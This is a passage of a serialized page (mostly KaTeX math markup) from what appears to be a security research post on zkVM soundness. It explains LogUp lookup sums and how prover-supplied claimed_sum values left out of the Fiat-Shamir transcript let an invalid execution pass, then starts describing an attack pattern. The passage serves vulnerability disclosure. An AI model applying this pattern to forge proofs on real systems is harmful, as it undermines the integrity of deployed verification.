props":117134,"children":117138},{"className":117135,"style":117137},[117136],"frac-line","border-bottom-width:0.04em;",[],{"type":22,"tag":101,"props":117140,"children":117142},{"style":117141},"top:-3.394em;",[117143,117147],{"type":22,"tag":101,"props":117144,"children":117146},{"className":117145,"style":115725},[8093],[],{"type":22,"tag":101,"props":117148,"children":117150},{"className":117149},[8099,8100,8101,8102],[117151],{"type":22,"tag":101,"props":117152,"children":117154},{"className":117153},[8053,8102],[117155],{"type":22,"tag":101,"props":117156,"children":117158},{"className":117157},[8053,8102],[117159],{"type":27,"value":6813},{"type":22,"tag":101,"props":117161,"children":117163},{"className":117162},[25732],[117164],{"type":27,"value":25735},{"type":22,"tag":101,"props":117166,"children":117168},{"className":117167},[8079],[117169],{"type":22,"tag":101,"props":117170,"children":117173},{"className":117171,"style":117172},[8084],"height:0.4033em;",[117174],{"type":22,"tag":101,"props":117175,"children":117176},{},[],{"type":22,"tag":101,"props":117178,"children":117180},{"className":117179},[25726,117072],[],{"type":22,"tag":101,"props":117182,"children":117184},{"className":117183,"style":8231},[8133],[],{"type":22,"tag":101,"props":117186,"children":117188},{"className":117187},[8236],[117189],{"type":27,"value":1511},{"type":22,"tag":101,"props":117191,"children":117193},{"className":117192,"style":8231},[8133],[],{"type":22,"tag":101,"props":117195,"children":117197},{"className":117196},[8042],[117198,117202,117274,117278],{"type":22,"tag":101,"props":117199,"children":117201},{"className":117200,"style":116986},[8047],[],{"type":22,"tag":101,"props":117203,"children":117205},{"className":117204},[25611],[117206,117211],{"type":22,"tag":101,"props":117207,"children":117209},{"className":117208,"style":25618},[25611,25616,25617],[117210],{"type":27,"value":112349},{"type":22,"tag":101,"props":117212,"children":117214},{"className":117213},[8069],[117215],{"type":22,"tag":101,"props":117216,"children":117218},{"className":117217},[8074,25629],[117219,117263],{"type":22,"tag":101,"props":117220,"children":117222},{"className":117221},[8079],[117223,117258],{"type":22,"tag":101,"props":117224,"children":117227},{"className":117225,"style":117226},[8084],"height:0.1864em;",[117228],{"type":22,"tag":101,"props":117229,"children":117230},{"style":25642},[117231,117235],{"type":22,"tag":101,"props":117232,"children":117234},{"className":117233,"style":8094},[8093],[],{"type":22,"tag":101,"props":117236,"children":117238},{"className":117237},[8099,8100,8101,8102],[117239],{"type":22,"tag":101,"props":117240,"children":117242},{"className":117241},[8053,8102],[117243,117248,117253],{"type":22,"tag":101,"props":117244,"children":117246},{"className":117245},[8053,25575,8102],[117247],{"type":27,"value":7262},{"type":22,"tag":101,"props":117249,"children":117251},{"className":117250},[8236,8102],[117252],{"type":27,"value":25682},{"type":22,"tag":101,"props":117254,"children":117256},{"className":117255,"style":116958},[8053,25575,8102],[117257],{"type":27,"value":116961},{"type":22,"tag":101,"props":117259,"children":117261},{"className":117260},[25732],[117262],{"type":27,"value":25735},{"type":22,"tag":101,"props":117264,"children":117266},{"className":117265},[8079],[117267],{"type":22,"tag":101,"props":117268,"children":117270},{"className":117269,"style":117056},[8084],[117271],{"type":22,"tag":101,"props":117272,"children":117273},{},[],{"type":22,"tag":101,"props":117275,"children":117277},{"className":117276,"style":8172},[8133],[],{"type":22,"tag":101,"props":117279,"children":117281},{"className":117280},[8053],[117282,117286,117379],{"type":22,"tag":101,"props":117283,"children":117285},{"className":117284},[25704,117072],[],{"type":22,"tag":101,"props":117287,"children":117289},{"className":117288},[117077],[117290],{"type":22,"tag":101,"props":117291,"children":117293},{"className":117292},[8074,25629],[117294,117368],{"type":22,"tag":101,"props":117295,"children":117297},{"className":117296},[8079],[117298,117363],{"type":22,"tag":101,"props":117299,"children":117301},{"className":117300,"style":117090},[8084],[117302,117332,117343],{"type":22,"tag":101,"props":117303,"children":117304},{"style":117094},[117305,117309],{"type":22,"tag":101,"props":117306,"children":117308},{"className":117307,"style":115725},[8093],[],{"type":22,"tag":101,"props":117310,"children":117312},{"className":117311},[8099,8100,8101,8102],[117313],{"type":22,"tag":101,"props":117314,"children":117316},{"className":117315},[8053,8102],[117317,117322,117327],{"type":22,"tag":101,"props":117318,"children":117320},{"className":117319,"style":117111},[8053,25575,8102],[117321],{"type":27,"value":117114},{"type":22,"tag":101,"props":117323,"children":117325},{"className":117324},[8139,8102],[117326],{"type":27,"value":8113},{"type":22,"tag":101,"props":117328,"children":117330},{"className":117329},[8053,25575,8102],[117331],{"type":27,"value":7262},{"type":22,"tag":101,"props":117333,"children":117334},{"style":117127},[117335,117339],{"type":22,"tag":101,"props":117336,"children":117338},{"className":117337,"style":115725},[8093],[],{"type":22,"tag":101,"props":117340,"children":117342},{"className":117341,"style":117137},[117136],[],{"type":22,"tag":101,"props":117344,"children":117345},{"style":117141},[117346,117350],{"type":22,"tag":101,"props":117347,"children":117349},{"className":117348,"style":115725},[8093],[],{"type":22,"tag":101,"props":117351,"children":117353},{"className":117352},[8099,8100,8101,8102],[117354],{"type":22,"tag":101,"props":117355,"children":117357},{"className":117356},[8053,8102],[117358],{"type":22,"tag":101,"props":117359,"children":117361},{"className":117360},[8053,8102],[117362],{"type":27,"value":6813},{"type":22,"tag":101,"props":117364,"children":117366},{"className":117365},[25732],[117367],{"type":27,"value":25735},{"type":22,"tag":101,"props":117369,"children":117371},{"className":117370},[8079],[117372],{"type":22,"tag":101,"props":117373,"children":117375},{"className":117374,"style":117172},[8084],[117376],{"type":22,"tag":101,"props":117377,"children":117378},{},[],{"type":22,"tag":101,"props":117380,"children":117382},{"className":117381},[25726,117072],[],{"type":22,"tag":23,"props":117384,"children":117385},{},[117386,117388,117413],{"type":27,"value":117387},"for random challenge ",{"type":22,"tag":30,"props":117389,"children":117391},{"className":117390},[8026,8027],[117392],{"type":22,"tag":101,"props":117393,"children":117395},{"className":117394},[8032],[117396],{"type":22,"tag":101,"props":117397,"children":117399},{"className":117398,"ariaHidden":5608},[8037],[117400],{"type":22,"tag":101,"props":117401,"children":117403},{"className":117402},[8042],[117404,117408],{"type":22,"tag":101,"props":117405,"children":117407},{"className":117406,"style":114395},[8047],[],{"type":22,"tag":101,"props":117409,"children":117411},{"className":117410,"style":117111},[8053,25575],[117412],{"type":27,"value":117114},{"type":27,"value":117414},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":22,"tag":23,"props":117416,"children":117417},{},[117418,117423],{"type":22,"tag":9370,"props":117419,"children":117420},{},[117421],{"type":27,"value":117422},"In zkVMs:",{"type":27,"value":117424}," Different components emit and consume lookup tuples:",{"type":22,"tag":6839,"props":117426,"children":117427},{},[117428,117515],{"type":22,"tag":6832,"props":117429,"children":117430},{},[117431,117433,117459,117461,117486,117488,117514],{"type":27,"value":117432},"CPU emits: \"I read value ",{"type":22,"tag":30,"props":117434,"children":117436},{"className":117435},[8026,8027],[117437],{"type":22,"tag":101,"props":117438,"children":117440},{"className":117439},[8032],[117441],{"type":22,"tag":101,"props":117442,"children":117444},{"className":117443,"ariaHidden":5608},[8037],[117445],{"type":22,"tag":101,"props":117446,"children":117448},{"className":117447},[8042],[117449,117453],{"type":22,"tag":101,"props":117450,"children":117452},{"className":117451,"style":114395},[8047],[],{"type":22,"tag":101,"props":117454,"children":117456},{"className":117455,"style":97040},[8053,25575],[117457],{"type":27,"value":117458},"v",{"type":27,"value":117460}," from address ",{"type":22,"tag":30,"props":117462,"children":117464},{"className":117463},[8026,8027],[117465],{"type":22,"tag":101,"props":117466,"children":117468},{"className":117467},[8032],[117469],{"type":22,"tag":101,"props":117470,"children":117472},{"className":117471,"ariaHidden":5608},[8037],[117473],{"type":22,"tag":101,"props":117474,"children":117476},{"className":117475},[8042],[117477,117481],{"type":22,"tag":101,"props":117478,"children":117480},{"className":117479,"style":114395},[8047],[],{"type":22,"tag":101,"props":117482,"children":117484},{"className":117483},[8053,25575],[117485],{"type":27,"value":80},{"type":27,"value":117487}," at time ",{"type":22,"tag":30,"props":117489,"children":117491},{"className":117490},[8026,8027],[117492],{"type":22,"tag":101,"props":117493,"children":117495},{"className":117494},[8032],[117496],{"type":22,"tag":101,"props":117497,"children":117499},{"className":117498,"ariaHidden":5608},[8037],[117500],{"type":22,"tag":101,"props":117501,"children":117503},{"className":117502},[8042],[117504,117509],{"type":22,"tag":101,"props":117505,"children":117508},{"className":117506,"style":117507},[8047],"height:0.6151em;",[],{"type":22,"tag":101,"props":117510,"children":117512},{"className":117511},[8053,25575],[117513],{"type":27,"value":25717},{"type":27,"value":24051},{"type":22,"tag":6832,"props":117516,"children":117517},{},[117518,117520,117545,117547,117572,117574,117599],{"type":27,"value":117519},"Memory table consumes: \"At time ",{"type":22,"tag":30,"props":117521,"children":117523},{"className":117522},[8026,8027],[117524],{"type":22,"tag":101,"props":117525,"children":117527},{"className":117526},[8032],[117528],{"type":22,"tag":101,"props":117529,"children":117531},{"className":117530,"ariaHidden":5608},[8037],[117532],{"type":22,"tag":101,"props":117533,"children":117535},{"className":117534},[8042],[117536,117540],{"type":22,"tag":101,"props":117537,"children":117539},{"className":117538,"style":117507},[8047],[],{"type":22,"tag":101,"props":117541,"children":117543},{"className":117542},[8053,25575],[117544],{"type":27,"value":25717},{"type":27,"value":117546},", address ",{"type":22,"tag":30,"props":117548,"children":117550},{"className":117549},[8026,8027],[117551],{"type":22,"tag":101,"props":117552,"children":117554},{"className":117553},[8032],[117555],{"type":22,"tag":101,"props":117556,"children":117558},{"className":117557,"ariaHidden":5608},[8037],[117559],{"type":22,"tag":101,"props":117560,"children":117562},{"className":117561},[8042],[117563,117567],{"type":22,"tag":101,"props":117564,"children":117566},{"className":117565,"style":114395},[8047],[],{"type":22,"tag":101,"props":117568,"children":117570},{"className":117569},[8053,25575],[117571],{"type":27,"value":80},{"type":27,"value":117573}," contained ",{"type":22,"tag":30,"props":117575,"children":117577},{"className":117576},[8026,8027],[117578],{"type":22,"tag":101,"props":117579,"children":117581},{"className":117580},[8032],[117582],{"type":22,"tag":101,"props":117583,"children":117585},{"className":117584,"ariaHidden":5608},[8037],[117586],{"type":22,"tag":101,"props":117587,"children":117589},{"className":117588},[8042],[117590,117594],{"type":22,"tag":101,"props":117591,"children":117593},{"className":117592,"style":114395},[8047],[],{"type":22,"tag":101,"props":117595,"children":117597},{"className":117596,"style":97040},[8053,25575],[117598],{"type":27,"value":117458},{"type":27,"value":24051},{"type":22,"tag":23,"props":117601,"children":117602},{},[117603],{"type":27,"value":117604},"If everything balances, the execution is consistent.",{"type":22,"tag":23,"props":117606,"children":117607},{},[117608,117613],{"type":22,"tag":9370,"props":117609,"children":117610},{},[117611],{"type":27,"value":117612},"The claimed_sum:",{"type":27,"value":117614}," Each component computes its contribution to the LogUp sum:",{"type":22,"tag":23,"props":117616,"children":117617},{},[117618],{"type":22,"tag":30,"props":117619,"children":117621},{"className":117620},[8026,8027],[117622],{"type":22,"tag":101,"props":117623,"children":117625},{"className":117624},[8032],[117626],{"type":22,"tag":101,"props":117627,"children":117629},{"className":117628,"ariaHidden":5608},[8037],[117630,117728,117979],{"type":22,"tag":101,"props":117631,"children":117633},{"className":117632},[8042],[117634,117638,117648,117653,117715,117719,117724],{"type":22,"tag":101,"props":117635,"children":117637},{"className":117636,"style":97967},[8047],[],{"type":22,"tag":101,"props":117639,"children":117641},{"className":117640},[8053,27],[117642],{"type":22,"tag":101,"props":117643,"children":117645},{"className":117644},[8053],[117646],{"type":27,"value":117647},"claimed",{"type":22,"tag":101,"props":117649,"children":117651},{"className":117650,"style":96554},[8053],[117652],{"type":27,"value":6382},{"type":22,"tag":101,"props":117654,"children":117656},{"className":117655},[8053],[117657,117666],{"type":22,"tag":101,"props":117658,"children":117660},{"className":117659},[8053,27],[117661],{"type":22,"tag":101,"props":117662,"children":117664},{"className":117663},[8053],[117665],{"type":27,"value":80139},{"type":22,"tag":101,"props":117667,"children":117669},{"className":117668},[8069],[117670],{"type":22,"tag":101,"props":117671,"children":117673},{"className":117672},[8074,25629],[117674,117704],{"type":22,"tag":101,"props":117675,"children":117677},{"className":117676},[8079],[117678,117699],{"type":22,"tag":101,"props":117679,"children":117681},{"className":117680,"style":97083},[8084],[117682],{"type":22,"tag":101,"props":117683,"children":117685},{"style":117684},"top:-2.55em;margin-right:0.05em;",[117686,117690],{"type":22,"tag":101,"props":117687,"children":117689},{"className":117688,"style":8094},[8093],[],{"type":22,"tag":101,"props":117691,"children":117693},{"className":117692},[8099,8100,8101,8102],[117694],{"type":22,"tag":101,"props":117695,"children":117697},{"className":117696},[8053,25575,8102],[117698],{"type":27,"value":7774},{"type":22,"tag":101,"props":117700,"children":117702},{"className":117701},[25732],[117703],{"type":27,"value":25735},{"type":22,"tag":101,"props":117705,"children":117707},{"className":117706},[8079],[117708],{"type":22,"tag":101,"props":117709,"children":117711},{"className":117710,"style":96637},[8084],[117712],{"type":22,"tag":101,"props":117713,"children":117714},{},[],{"type":22,"tag":101,"props":117716,"children":117718},{"className":117717,"style":8231},[8133],[],{"type":22,"tag":101,"props":117720,"children":117722},{"className":117721},[8236],[117723],{"type":27,"value":1511},{"type":22,"tag":101,"props":117725,"children":117727},{"className":117726,"style":8231},[8133],[],{"type":22,"tag":101,"props":117729,"children":117731},{"className":117730},[8042],[117732,117737,117797,117801,117966,117970,117975],{"type":22,"tag":101,"props":117733,"children":117736},{"className":117734,"style":117735},[8047],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":22,"tag":101,"props":117738,"children":117740},{"className":117739},[25611],[117741,117746],{"type":22,"tag":101,"props":117742,"children":117744},{"className":117743,"style":25618},[25611,25616,25617],[117745],{"type":27,"value":112349},{"type":22,"tag":101,"props":117747,"children":117749},{"className":117748},[8069],[117750],{"type":22,"tag":101,"props":117751,"children":117753},{"className":117752},[8074,25629],[117754,117785],{"type":22,"tag":101,"props":117755,"children":117757},{"className":117756},[8079],[117758,117780],{"type":22,"tag":101,"props":117759,"children":117762},{"className":117760,"style":117761},[8084],"height:0.162em;",[117763],{"type":22,"tag":101,"props":117764,"children":117765},{"style":25642},[117766,117770],{"type":22,"tag":101,"props":117767,"children":117769},{"className":117768,"style":8094},[8093],[],{"type":22,"tag":101,"props":117771,"children":117773},{"className":117772},[8099,8100,8101,8102],[117774],{"type":22,"tag":101,"props":117775,"children":117778},{"className":117776,"style":117777},[8053,25575,8102],"margin-right:0.05724em;",[117779],{"type":27,"value":12663},{"type":22,"tag":101,"props":117781,"children":117783},{"className":117782},[25732],[117784],{"type":27,"value":25735},{"type":22,"tag":101,"props":117786,"children":117788},{"className":117787},[8079],[117789],{"type":22,"tag":101,"props":117790,"children":117793},{"className":117791,"style":117792},[8084],"height:0.4358em;",[117794],{"type":22,"tag":101,"props":117795,"children":117796},{},[],{"type":22,"tag":101,"props":117798,"children":117800},{"className":117799,"style":8172},[8133],[],{"type":22,"tag":101,"props":117802,"children":117804},{"className":117803},[8053],[117805,117809,117962],{"type":22,"tag":101,"props":117806,"children":117808},{"className":117807},[25704,117072],[],{"type":22,"tag":101,"props":117810,"children":117812},{"className":117811},[117077],[117813],{"type":22,"tag":101,"props":117814,"children":117816},{"className":117815},[8074,25629],[117817,117950],{"type":22,"tag":101,"props":117818,"children":117820},{"className":117819},[8079],[117821,117945],{"type":22,"tag":101,"props":117822,"children":117824},{"className":117823,"style":117090},[8084],[117825,117914,117925],{"type":22,"tag":101,"props":117826,"children":117827},{"style":117094},[117828,117832],{"type":22,"tag":101,"props":117829,"children":117831},{"className":117830,"style":115725},[8093],[],{"type":22,"tag":101,"props":117833,"children":117835},{"className":117834},[8099,8100,8101,8102],[117836],{"type":22,"tag":101,"props":117837,"children":117839},{"className":117838},[8053,8102],[117840,117845,117850],{"type":22,"tag":101,"props":117841,"children":117843},{"className":117842,"style":117111},[8053,25575,8102],[117844],{"type":27,"value":117114},{"type":22,"tag":101,"props":117846,"children":117848},{"className":117847},[8139,8102],[117849],{"type":27,"value":8113},{"type":22,"tag":101,"props":117851,"children":117853},{"className":117852},[8053,8102],[117854,117863],{"type":22,"tag":101,"props":117855,"children":117857},{"className":117856},[8053,27,8102],[117858],{"type":22,"tag":101,"props":117859,"children":117861},{"className":117860},[8053,8102],[117862],{"type":27,"value":1181},{"type":22,"tag":101,"props":117864,"children":117866},{"className":117865},[8069],[117867],{"type":22,"tag":101,"props":117868,"children":117870},{"className":117869},[8074,25629],[117871,117902],{"type":22,"tag":101,"props":117872,"children":117874},{"className":117873},[8079],[117875,117897],{"type":22,"tag":101,"props":117876,"children":117879},{"className":117877,"style":117878},[8084],"height:0.3281em;",[117880],{"type":22,"tag":101,"props":117881,"children":117883},{"style":117882},"top:-2.357em;margin-right:0.0714em;",[117884,117888],{"type":22,"tag":101,"props":117885,"children":117887},{"className":117886,"style":112414},[8093],[],{"type":22,"tag":101,"props":117889,"children":117891},{"className":117890},[8099,112419,112420,8102],[117892],{"type":22,"tag":101,"props":117893,"children":117895},{"className":117894,"style":117777},[8053,25575,8102],[117896],{"type":27,"value":12663},{"type":22,"tag":101,"props":117898,"children":117900},{"className":117899},[25732],[117901],{"type":27,"value":25735},{"type":22,"tag":101,"props":117903,"children":117905},{"className":117904},[8079],[117906],{"type":22,"tag":101,"props":117907,"children":117910},{"className":117908,"style":117909},[8084],"height:0.2819em;",[117911],{"type":22,"tag":101,"props":117912,"children":117913},{},[],{"type":22,"tag":101,"props":117915,"children":117916},{"style":117127},[117917,117921],{"type":22,"tag":101,"props":117918,"children":117920},{"className":117919,"style":115725},[8093],[],{"type":22,"tag":101,"props":117922,"children":117924},{"className":117923,"style":117137},[117136],[],{"type":22,"tag":101,"props":117926,"children":117927},{"style":117141},[117928,117932],{"type":22,"tag":101,"props":117929,"children":117931},{"className":117930,"style":115725},[8093],[],{"type":22,"tag":101,"props":117933,"children":117935},{"className":117934},[8099,8100,8101,8102],[117936],{"type":22,"tag":101,"props":117937,"children":117939},{"className":117938},[8053,8102],[117940],{"type":22,"tag":101,"props":117941,"children":117943},{"className":117942},[8053,8102],[117944],{"type":27,"value":6813},{"type":22,"tag":101,"props":117946,"children":117948},{"className":117947},[25732],[117949],{"type":27,"value":25735},{"type":22,"tag":101,"props":117951,"children":117953},{"className":117952},[8079],[117954],{"type":22,"tag":101,"props":117955,"children":117958},{"className":117956,"style":117957},[8084],"height:0.5423em;",[117959],{"type":22,"tag":101,"props":117960,"children":117961},{},[],{"type":22,"tag":101,"props":117963,"children":117965},{"className":117964},[25726,117072],[],{"type":22,"tag":101,"props":117967,"children":117969},{"className":117968,"style":8134},[8133],[],{"type":22,"tag":101,"props":117971,"children":117973},{"className":117972},[8139],[117974],{"type":27,"value":8113},{"type":22,"tag":101,"props":117976,"children":117978},{"className":117977,"style":8134},[8133],[],{"type":22,"tag":101,"props":117980,"children":117982},{"className":117981},[8042],[117983,117988,118046,118050],{"type":22,"tag":101,"props":117984,"children":117987},{"className":117985,"style":117986},[8047],"height:1.296em;vertical-align:-0.4509em;",[],{"type":22,"tag":101,"props":117989,"children":117991},{"className":117990},[25611],[117992,117997],{"type":22,"tag":101,"props":117993,"children":117995},{"className":117994,"style":25618},[25611,25616,25617],[117996],{"type":27,"value":112349},{"type":22,"tag":101,"props":117998,"children":118000},{"className":117999},[8069],[118001],{"type":22,"tag":101,"props":118002,"children":118004},{"className":118003},[8074,25629],[118005,118034],{"type":22,"tag":101,"props":118006,"children":118008},{"className":118007},[8079],[118009,118029],{"type":22,"tag":101,"props":118010,"children":118012},{"className":118011,"style":117226},[8084],[118013],{"type":22,"tag":101,"props":118014,"children":118015},{"style":25642},[118016,118020],{"type":22,"tag":101,"props":118017,"children":118019},{"className":118018,"style":8094},[8093],[],{"type":22,"tag":101,"props":118021,"children":118023},{"className":118022},[8099,8100,8101,8102],[118024],{"type":22,"tag":101,"props":118025,"children":118027},{"className":118026,"style":97983},[8053,25575,8102],[118028],{"type":27,"value":92191},{"type":22,"tag":101,"props":118030,"children":118032},{"className":118031},[25732],[118033],{"type":27,"value":25735},{"type":22,"tag":101,"props":118035,"children":118037},{"className":118036},[8079],[118038],{"type":22,"tag":101,"props":118039,"children":118042},{"className":118040,"style":118041},[8084],"height:0.2997em;",[118043],{"type":22,"tag":101,"props":118044,"children":118045},{},[],{"type":22,"tag":101,"props":118047,"children":118049},{"className":118048,"style":8172},[8133],[],{"type":22,"tag":101,"props":118051,"children":118053},{"className":118052},[8053],[118054,118058,118211],{"type":22,"tag":101,"props":118055,"children":118057},{"className":118056},[25704,117072],[],{"type":22,"tag":101,"props":118059,"children":118061},{"className":118060},[117077],[118062],{"type":22,"tag":101,"props":118063,"children":118065},{"className":118064},[8074,25629],[118066,118199],{"type":22,"tag":101,"props":118067,"children":118069},{"className":118068},[8079],[118070,118194],{"type":22,"tag":101,"props":118071,"children":118073},{"className":118072,"style":117090},[8084],[118074,118163,118174],{"type":22,"tag":101,"props":118075,"children":118076},{"style":117094},[118077,118081],{"type":22,"tag":101,"props":118078,"children":118080},{"className":118079,"style":115725},[8093],[],{"type":22,"tag":101,"props":118082,"children":118084},{"className":118083},[8099,8100,8101,8102],[118085],{"type":22,"tag":101,"props":118086,"children":118088},{"className":118087},[8053,8102],[118089,118094,118099],{"type":22,"tag":101,"props":118090,"children":118092},{"className":118091,"style":117111},[8053,25575,8102],[118093],{"type":27,"value":117114},{"type":22,"tag":101,"props":118095,"children":118097},{"className":118096},[8139,8102],[118098],{"type":27,"value":8113},{"type":22,"tag":101,"props":118100,"children":118102},{"className":118101},[8053,8102],[118103,118113],{"type":22,"tag":101,"props":118104,"children":118106},{"className":118105},[8053,27,8102],[118107],{"type":22,"tag":101,"props":118108,"children":118110},{"className":118109},[8053,8102],[118111],{"type":27,"value":118112},"consume",{"type":22,"tag":101,"props":118114,"children":118116},{"className":118115},[8069],[118117],{"type":22,"tag":101,"props":118118,"children":118120},{"className":118119},[8074,25629],[118121,118151],{"type":22,"tag":101,"props":118122,"children":118124},{"className":118123},[8079],[118125,118146],{"type":22,"tag":101,"props":118126,"children":118128},{"className":118127,"style":115886},[8084],[118129],{"type":22,"tag":101,"props":118130,"children":118132},{"style":118131},"top:-2.3488em;margin-right:0.0714em;",[118133,118137],{"type":22,"tag":101,"props":118134,"children":118136},{"className":118135,"style":112414},[8093],[],{"type":22,"tag":101,"props":118138,"children":118140},{"className":118139},[8099,112419,112420,8102],[118141],{"type":22,"tag":101,"props":118142,"children":118144},{"className":118143,"style":97983},[8053,25575,8102],[118145],{"type":27,"value":92191},{"type":22,"tag":101,"props":118147,"children":118149},{"className":118148},[25732],[118150],{"type":27,"value":25735},{"type":22,"tag":101,"props":118152,"children":118154},{"className":118153},[8079],[118155],{"type":22,"tag":101,"props":118156,"children":118159},{"className":118157,"style":118158},[8084],"height:0.1512em;",[118160],{"type":22,"tag":101,"props":118161,"children":118162},{},[],{"type":22,"tag":101,"props":118164,"children":118165},{"style":117127},[118166,118170],{"type":22,"tag":101,"props":118167,"children":118169},{"className":118168,"style":115725},[8093],[],{"type":22,"tag":101,"props":118171,"children":118173},{"className":118172,"style":117137},[117136],[],{"type":22,"tag":101,"props":118175,"children":118176},{"style":117141},[118177,118181],{"type":22,"tag":101,"props":118178,"children":118180},{"className":118179,"style":115725},[8093],[],{"type":22,"tag":101,"props":118182,"children":118184},{"className":118183},[8099,8100,8101,8102],[118185],{"type":22,"tag":101,"props":118186,"children":118188},{"className":118187},[8053,8102],[118189],{"type":22,"tag":101,"props":118190,"children":118192},{"className":118191},[8053,8102],[118193],{"type":27,"value":6813},{"type":22,"tag":101,"props":118195,"children":118197},{"className":118196},[25732],[118198],{"type":27,"value":25735},{"type":22,"tag":101,"props":118200,"children":118202},{"className":118201},[8079],[118203],{"type":22,"tag":101,"props":118204,"children":118207},{"className":118205,"style":118206},[8084],"height:0.4509em;",[118208],{"type":22,"tag":101,"props":118209,"children":118210},{},[],{"type":22,"tag":101,"props":118212,"children":118214},{"className":118213},[25726,117072],[],{"type":22,"tag":23,"props":118216,"children":118217},{},[118218,118220,118402],{"type":27,"value":118219},"The global check: ",{"type":22,"tag":30,"props":118221,"children":118223},{"className":118222},[8026,8027],[118224],{"type":22,"tag":101,"props":118225,"children":118227},{"className":118226},[8032],[118228],{"type":22,"tag":101,"props":118229,"children":118231},{"className":118230,"ariaHidden":5608},[8037],[118232,118389],{"type":22,"tag":101,"props":118233,"children":118235},{"className":118234},[8042],[118236,118240,118297,118301,118310,118315,118376,118380,118385],{"type":22,"tag":101,"props":118237,"children":118239},{"className":118238,"style":96496},[8047],[],{"type":22,"tag":101,"props":118241,"children":118243},{"className":118242},[25611],[118244,118249],{"type":22,"tag":101,"props":118245,"children":118247},{"className":118246,"style":25618},[25611,25616,25617],[118248],{"type":27,"value":112349},{"type":22,"tag":101,"props":118250,"children":118252},{"className":118251},[8069],[118253],{"type":22,"tag":101,"props":118254,"children":118256},{"className":118255},[8074,25629],[118257,118286],{"type":22,"tag":101,"props":118258,"children":118260},{"className":118259},[8079],[118261,118281],{"type":22,"tag":101,"props":118262,"children":118264},{"className":118263,"style":117761},[8084],[118265],{"type":22,"tag":101,"props":118266,"children":118267},{"style":25642},[118268,118272],{"type":22,"tag":101,"props":118269,"children":118271},{"className":118270,"style":8094},[8093],[],{"type":22,"tag":101,"props":118273,"children":118275},{"className":118274},[8099,8100,8101,8102],[118276],{"type":22,"tag":101,"props":118277,"children":118279},{"className":118278},[8053,25575,8102],[118280],{"type":27,"value":7774},{"type":22,"tag":101,"props":118282,"children":118284},{"className":118283},[25732],[118285],{"type":27,"value":25735},{"type":22,"tag":101,"props":118287,"children":118289},{"className":118288},[8079],[118290],{"type":22,"tag":101,"props":118291,"children":118293},{"className":118292,"style":118041},[8084],[118294],{"type":22,"tag":101,"props":118295,"children":118296},{},[],{"type":22,"tag":101,"props":118298,"children":118300},{"className":118299,"style":8172},[8133],[],{"type":22,"tag":101,"props":118302,"children":118304},{"className":118303},[8053,27],[118305],{"type":22,"tag":101,"props":118306,"children":118308},{"className":118307},[8053],[118309],{"type":27,"value":117647},{"type":22,"tag":101,"props":118311,"children":118313},{"className":118312,"style":96554},[8053],[118314],{"type":27,"value":6382},{"type":22,"tag":101,"props":118316,"children":118318},{"className":118317},[8053],[118319,118328],{"type":22,"tag":101,"props":118320,"children":118322},{"className":118321},[8053,27],[118323],{"type":22,"tag":101,"props":118324,"children":118326},{"className":118325},[8053],[118327],{"type":27,"value":80139},{"type":22,"tag":101,"props":118329,"children":118331},{"className":118330},[8069],[118332],{"type":22,"tag":101,"props":118333,"children":118335},{"className":118334},[8074,25629],[118336,118365],{"type":22,"tag":101,"props":118337,"children":118339},{"className":118338},[8079],[118340,118360],{"type":22,"tag":101,"props":118341,"children":118343},{"className":118342,"style":97083},[8084],[118344],{"type":22,"tag":101,"props":118345,"children":118346},{"style":117684},[118347,118351],{"type":22,"tag":101,"props":118348,"children":118350},{"className":118349,"style":8094},[8093],[],{"type":22,"tag":101,"props":118352,"children":118354},{"className":118353},[8099,8100,8101,8102],[118355],{"type":22,"tag":101,"props":118356,"children":118358},{"className":118357},[8053,25575,8102],[118359],{"type":27,"value":7774},{"type":22,"tag":101,"props":118361,"children":118363},{"className":118362},[25732],[118364],{"type":27,"value":25735},{"type":22,"tag":101,"props":118366,"children":118368},{"className":118367},[8079],[118369],{"type":22,"tag":101,"props":118370,"children":118372},{"className":118371,"style":96637},[8084],[118373],{"type":22,"tag":101,"props":118374,"children":118375},{},[],{"type":22,"tag":101,"props":118377,"children":118379},{"className":118378,"style":8231},[8133],[],{"type":22,"tag":101,"props":118381,"children":118383},{"className":118382},[8236],[118384],{"type":27,"value":1511},{"type":22,"tag":101,"props":118386,"children":118388},{"className":118387,"style":8231},[8133],[],{"type":22,"tag":101,"props":118390,"children":118392},{"className":118391},[8042],[118393,118397],{"type":22,"tag":101,"props":118394,"children":118396},{"className":118395,"style":97585},[8047],[],{"type":22,"tag":101,"props":118398,"children":118400},{"className":118399},[8053],[118401],{"type":27,"value":8065},{"type":27,"value":231},{"type":22,"tag":23,"props":118404,"children":118405},{},[118406,118411,118413,118419],{"type":22,"tag":9370,"props":118407,"children":118408},{},[118409],{"type":27,"value":118410},"Why this is vulnerable:",{"type":27,"value":118412}," The ",{"type":22,"tag":30,"props":118414,"children":118416},{"className":118415},[],[118417],{"type":27,"value":118418},"claimed_sum",{"type":27,"value":118420}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":22,"tag":1398,"props":118422,"children":118423},{},[],{"type":22,"tag":53,"props":118425,"children":118427},{"id":118426},"the-universal-attack-pattern",[118428],{"type":27,"value":118429},"The Universal Attack Pattern",{"type":22,"tag":23,"props":118431,"children":118432},{},[118433],{"type":27,"value":118434},"Now we can describe the attack pattern that works on all six systems:",{"type":22,"tag":23,"props":118436,"children":118437},{},[118438],{"type":22,"tag":7959,"props":118439,"children":118442},{"alt":118440,"src":118441},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":22,"tag":23,"props":118444,"children":118445},{},[118446,118448,118473],{"type":27,"value":118447},"When a value ",{"type":22,"tag":30,"props":118449,"children":118451},{"className":118450},[8026,8027],[118452],{"type":22,"tag":101,"props":118453,"children":118455},{"className":118454},[8032],[118456],{"type":22,"tag":101,"props":118457,"children":118459},{"className":118458,"ariaHidden":5608},[8037],[118460],{"type":22,"tag":101,"props":118461,"children":118463},{"className":118462},[8042],[118464,118468],{"type":22,"tag":101,"props":118465,"children":118467},{"className":118466,"style":25570},[8047],[],{"type":22,"tag":101,"props":118469,"children":118471},{"className":118470,"style":111752},[8053,25575],[118472],{"type":27,"value":112076},{"type":27,"value":118474}," isn't transcript-bound:",{"type":22,"tag":6828,"props":118476,"children":118477},{},[118478,118509,118586,118731],{"type":22,"tag":6832,"props":118479,"children":118480},{},[118481,118483,118508],{"type":27,"value":118482},"Challenges are fixed (independent of 